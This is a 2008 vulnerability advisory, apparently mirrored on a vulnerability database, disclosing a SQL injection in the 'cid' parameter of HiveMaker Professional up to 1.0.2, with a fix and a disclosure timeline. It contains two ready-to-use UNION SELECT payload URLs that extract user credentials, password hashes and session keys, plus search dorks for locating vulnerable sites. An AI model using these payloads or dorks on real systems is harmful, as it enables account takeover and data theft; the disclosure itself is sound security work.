HiveMaker Professional <= 1.0.2 (cid) SQL Injection Vulnerability

🗓️ 31 May 2008 00:00:00Reported by RootType
HiveMaker Professional <= 1.0.2 (cid) SQL Injection Vulnerability. Input passed to the "cid" parameter in index.ph

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\_&nbsp;&nbsp;&nbsp;_____/\_&nbsp;&nbsp;&nbsp;___&nbsp;\&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;\&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\___\&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;\
/_______&nbsp;&nbsp;/&nbsp;\______&nbsp;&nbsp;/\___|_&nbsp;&nbsp;/\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_96$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_96$2008]&nbsp;HiveMaker&nbsp;Professional&nbsp;&lt;=&nbsp;1.0.2&nbsp;(cid)&nbsp;Sql&nbsp;Injection&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;May,&nbsp;30&nbsp;th&nbsp;2008
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Jakarta,&nbsp;Indonesia
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://e-rdc.org/v1/news.php?readmore=91
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Medium
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;HiveMaker&nbsp;Professional
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;=&nbsp;1.0.2
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.hivemaker.com
Description&nbsp;&nbsp;&nbsp;:

Hivemaker&nbsp;is&nbsp;a&nbsp;website&nbsp;creation&nbsp;system&nbsp;written&nbsp;in&nbsp;PHP.&nbsp;Users&nbsp;can&nbsp;create&nbsp;websites&nbsp;without&nbsp;knowing&nbsp;any&nbsp;HTML&nbsp;in&nbsp;a&nbsp;fashion&nbsp;similar&nbsp;to&nbsp;GeoCities.&nbsp;Users&nbsp;can&nbsp;select&nbsp;modules&nbsp;and&nbsp;VERY&nbsp;easily&nbsp;create&nbsp;contact&nbsp;forms,&nbsp;web&nbsp;counters&nbsp;and&nbsp;a&nbsp;variety&nbsp;of&nbsp;other&nbsp;content!&nbsp;Included&nbsp;is&nbsp;a&nbsp;website&nbsp;directory&nbsp;that&nbsp;allows&nbsp;all&nbsp;your&nbsp;users&nbsp;websites&nbsp;to&nbsp;be&nbsp;viewable&nbsp;to&nbsp;the&nbsp;general&nbsp;public.
For&nbsp;administrators&nbsp;Hivemaker&nbsp;is&nbsp;easily&nbsp;upgradeable.&nbsp;Modules&nbsp;and&nbsp;templates&nbsp;can&nbsp;be&nbsp;installed&nbsp;as&nbsp;simply&nbsp;as&nbsp;uploading&nbsp;the&nbsp;new&nbsp;template.&nbsp;The&nbsp;content&nbsp;is&nbsp;then&nbsp;immediately&nbsp;ready&nbsp;to&nbsp;be&nbsp;used&nbsp;by&nbsp;your&nbsp;users.&nbsp;Full&nbsp;user&nbsp;administration&nbsp;functions&nbsp;are&nbsp;available&nbsp;as&nbsp;well&nbsp;as&nbsp;the&nbsp;ability&nbsp;to&nbsp;add&nbsp;banners&nbsp;to&nbsp;every&nbsp;user's&nbsp;website.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;cid&quot;&nbsp;parameter&nbsp;in&nbsp;index.php&nbsp;page&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used&nbsp;to&nbsp;sql&nbsp;query.&nbsp;
This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;thru&nbsp;the&nbsp;browser&nbsp;and&nbsp;get&nbsp;the&nbsp;hash&nbsp;md5&nbsp;password&nbsp;from&nbsp;users&nbsp;and&nbsp;also&nbsp;retrieve&nbsp;users&nbsp;session&nbsp;id.
Successful&nbsp;exploitation&nbsp;requires&nbsp;that&nbsp;&quot;magic_quotes&quot;&nbsp;is&nbsp;off.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[path]/sites/index.php?cid=-1%20union%20select%201,2,3,concat(uid,0x3a,username,0x3a,useremail,0x3a,userpass,0x3a,aid,0x3a,password_reminder,0x3a,confirmation_code),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5%20from%20userinfo--

http://www.target.com/[path]/sites/index.php?cid=-1%20union%20select%201,2,3,sesskey,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5%20from%20sessions--


Dork:
~~~~
Google&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&quot;Hivemaker&quot;&nbsp;or&nbsp;&quot;Hivemaker(TM)&nbsp;Control&nbsp;Panel&nbsp;Login&quot;
Altavista&nbsp;:&nbsp;&quot;Hivemaker(TM)&nbsp;Control&nbsp;Panel&nbsp;Login&quot;


Solution:
~~~~~~

-&nbsp;Edit&nbsp;the&nbsp;source&nbsp;code&nbsp;to&nbsp;ensure&nbsp;that&nbsp;input&nbsp;is&nbsp;properly&nbsp;verified.
-&nbsp;Turn&nbsp;on&nbsp;magic_quotes&nbsp;in&nbsp;php.ini
&nbsp;

Timeline:
~~~~~~~~

-&nbsp;24&nbsp;-&nbsp;05&nbsp;-&nbsp;2008&nbsp;bug&nbsp;found
-&nbsp;25&nbsp;-&nbsp;05&nbsp;-&nbsp;2008&nbsp;vendor&nbsp;contacted
-&nbsp;30&nbsp;-&nbsp;05&nbsp;-&nbsp;2008&nbsp;advisory&nbsp;released
---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;zautha&nbsp;my&nbsp;little&nbsp;angel,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az01,negative,the_hydra,neng&nbsp;chika,&nbsp;str0ke
~&nbsp;everybody&nbsp;[at]&nbsp;SCAN-NUSANTARA&nbsp;and&nbsp;SCAN-ASSOSIATES
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~&nbsp;dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4SH3R,kuntua,stev_manado,nofry,k1tk4t,0pt1c
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://www.e-rdc.org/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------
31 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1
HiveMaker Professional &lt;= 1.0.2 (cid) SQL Injection Vulnerability

HiveMaker Professional <= 1.0.2 (cid) SQL Injection Vulnerability
